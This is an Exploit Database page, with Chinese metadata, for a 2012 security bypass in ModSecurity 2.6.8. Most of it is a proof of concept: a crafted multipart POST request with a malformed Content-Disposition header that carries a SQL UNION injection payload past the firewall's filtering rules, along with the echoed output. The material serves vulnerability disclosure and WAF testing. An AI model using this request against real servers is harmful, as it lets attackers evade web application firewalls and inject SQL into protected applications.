ModSecurity – ‘POST’ Security Bypass

• Exploit Database
• 112 阅读

• 作者： Bernhard Mueller
  日期： 2012-10-17
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37949/
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  source: https://www.securityfocus.com/bid/56096/info   ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.   Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks.   ModSecurity 2.6.8 is vulnerable; other versions may also be affected.   Proof of concept: -----------------   wut.php: --------   <? echo $POST[xxx] ?>     POST request: -------------   POST /wut.php HTTP/1.1 Content-Type: multipart/form-data; boundary=A Content-Length: 161   --A Content-Disposition: form-data; name="xxx"[\r][\r][\n] --A Content-Disposition: form-data; name="yyy"; filename="z"   1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--   --A--     Output: -------   1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--   (any change in the header should produce a 403)d